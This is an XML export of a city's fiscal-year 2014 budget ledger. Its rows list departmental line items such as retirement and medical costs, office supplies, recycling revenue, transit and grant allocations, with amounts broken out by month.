<row _id="11070"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>25264.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25264.0</total></row>
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<row _id="11072"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1030.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1030.0</total></row>
<row _id="11073"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7880.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7880.0</total></row>
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<row _id="11075"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24477.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24477.0</total></row>
<row _id="11076"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>204.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>204.0</total></row>
<row _id="11077"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-PKG OPS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-2184702.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2184702.0</total></row>
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<row _id="11085"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>33732.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>447</april><may>0</may><june>0.0</june><total>34179.0</total></row>
<row _id="11086"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>229911.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>229911.0</total></row>
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<row _id="11094"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>400940.0</object><object_description>CDBG CURRENT ALLOCATION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-995441.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>995441</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11095"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>33074.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>33074.0</total></row>
<row _id="11096"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>44528.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44528.0</total></row>
<row _id="11097"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1482.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1482.0</total></row>
<row _id="11098"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>997.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>997.0</total></row>
<row _id="11099"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8020.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8020.0</total></row>
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<row _id="11101"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4750.0</total></row>
<row _id="11102"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10200.0</total></row>
<row _id="11103"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>55</fund_id><fund_name>Info Tech Rplcmnt &amp; Svcs Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>407250.0</object><object_description>TELECOMMUNICATIONS SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-530924.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>4667.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-526257.0</total></row>
<row _id="11104"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>999047.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>14639</december><january>-29.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1013657.0</total></row>
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<row _id="11106"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17343.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17343.0</total></row>
<row _id="11107"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>64925.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>64925.0</total></row>
<row _id="11108"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
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<row _id="11111"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>76.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>76.0</total></row>
<row _id="11112"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401490.0</object><object_description>RECYCLE LEASE RENTAL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-56600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-56600.0</total></row>
<row _id="11113"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401580.0</object><object_description>RECYCLED MATERIALS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-405400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-405400.0</total></row>
<row _id="11114"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407400.0</object><object_description>STATE RECYCLING PROGRAM</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-44500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-44500.0</total></row>
<row _id="11115"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544860.0</object><object_description>SUMMER FOOD SERVICE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>22045.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22045.0</total></row>
<row _id="11116"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1879.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1879.0</total></row>
<row _id="11117"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2852.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2852.0</total></row>
<row _id="11118"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400980.0</object><object_description>SURF &amp; SAND APPLICATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-51250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-51250.0</total></row>
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<row _id="11120"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>406590.0</object><object_description>DA CULT ARTS IN LIEU FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-370628.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-370628.0</total></row>
<row _id="11121"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24225.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24225.0</total></row>
<row _id="11122"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2915.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2915.0</total></row>
<row _id="11123"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>119417.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>119417.0</total></row>
<row _id="11124"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2807.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>61</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2868.0</total></row>
<row _id="11125"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12625.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12625.0</total></row>
<row _id="11126"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
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<row _id="11128"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3436.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3436.0</total></row>
<row _id="11129"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>407240.0</object><object_description>TRANS MGMT BLDG PLAN CHECK</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-129353.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-129353.0</total></row>
<row _id="11130"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405670.0</object><object_description>HBP-FHWA PIER BRIDGE</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-750000.0</july><august>0</august><september>0</september><october>0</october><november>-309655.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1059655.0</total></row>
<row _id="11131"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3829.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3829.0</total></row>
<row _id="11132"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-11084.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11084.0</total></row>
<row _id="11133"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-36758.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-36758.0</total></row>
<row _id="11134"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-9598.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9598.0</total></row>
<row _id="11135"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-32009.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-32009.0</total></row>
<row _id="11136"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-104660.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>-20535</december><january>-3711.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-128906.0</total></row>
<row _id="11137"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-9364.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9364.0</total></row>
<row _id="11138"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2578.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2578.0</total></row>
